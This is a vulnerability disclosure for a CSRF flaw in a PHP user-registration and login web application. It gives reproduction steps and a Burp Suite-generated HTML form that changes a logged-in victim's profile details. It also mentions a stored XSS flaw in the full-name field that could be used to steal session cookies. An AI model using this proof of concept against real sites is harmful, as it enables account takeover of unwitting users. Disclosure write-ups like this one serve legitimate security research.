CSRF ATTACK:
Cross-site request forgery (also known as CSRF) is a web security
vulnerability that allows an attacker to induce users to perform actions
that they do not intend to perform. It allows an attacker to partly
circumvent the same-origin policy, which is designed to prevent different
websites from interfering with each other.

Attack Vector:
An attacker can update any user's account. (Note: FULL NAME field is also
vulnerable to stored XSS & attacker can steal the authenticated Session os
the user)

Steps to reproduce:
1. Open user login page using the following URL:
->
http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/login.html

2. Now login with the "attacker" user account & navigate to the edit
profile tab. Click on the "Update" button and intercept the request in web
proxy tool called "Burpusite"

3. Generate the CSRF POC from the burp tool. Copy the URL or Copy the below
code.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="
http://localhost/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile_action.php"
method="POST">
<input type="hidden" name="fullname" value="Attacker" />
<input type="hidden" name="username" value="hunterr" />
<input type="hidden" name="email"
value="noooobhunter&#64;gmail&#46;com" />
<input type="hidden" name="gender" value="Male" />
<input type="hidden" name="action" value="update&#95;user" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

4. Now, login with the "Victim/Normal user" account. (Let that user is
currently authenticated in the browser).

5. Paste the URL in the browser, which is copied in step 3. OR submit the
CSRF POC code, which is shown in step 3.

6. We receive a "Status: Success", which indicates that the CSRF attack is
successfully done & the Attacker can takeover the user account via Stored
XSS (Steal the authenticated Cookies of the user from the "FULL NAME"
parameter)

IMPACT:
An attacker can takeover any user account. (Note: FULL NAME field is also
vulnerable to stored XSS & attacker can steal the authenticated Session os
the user)
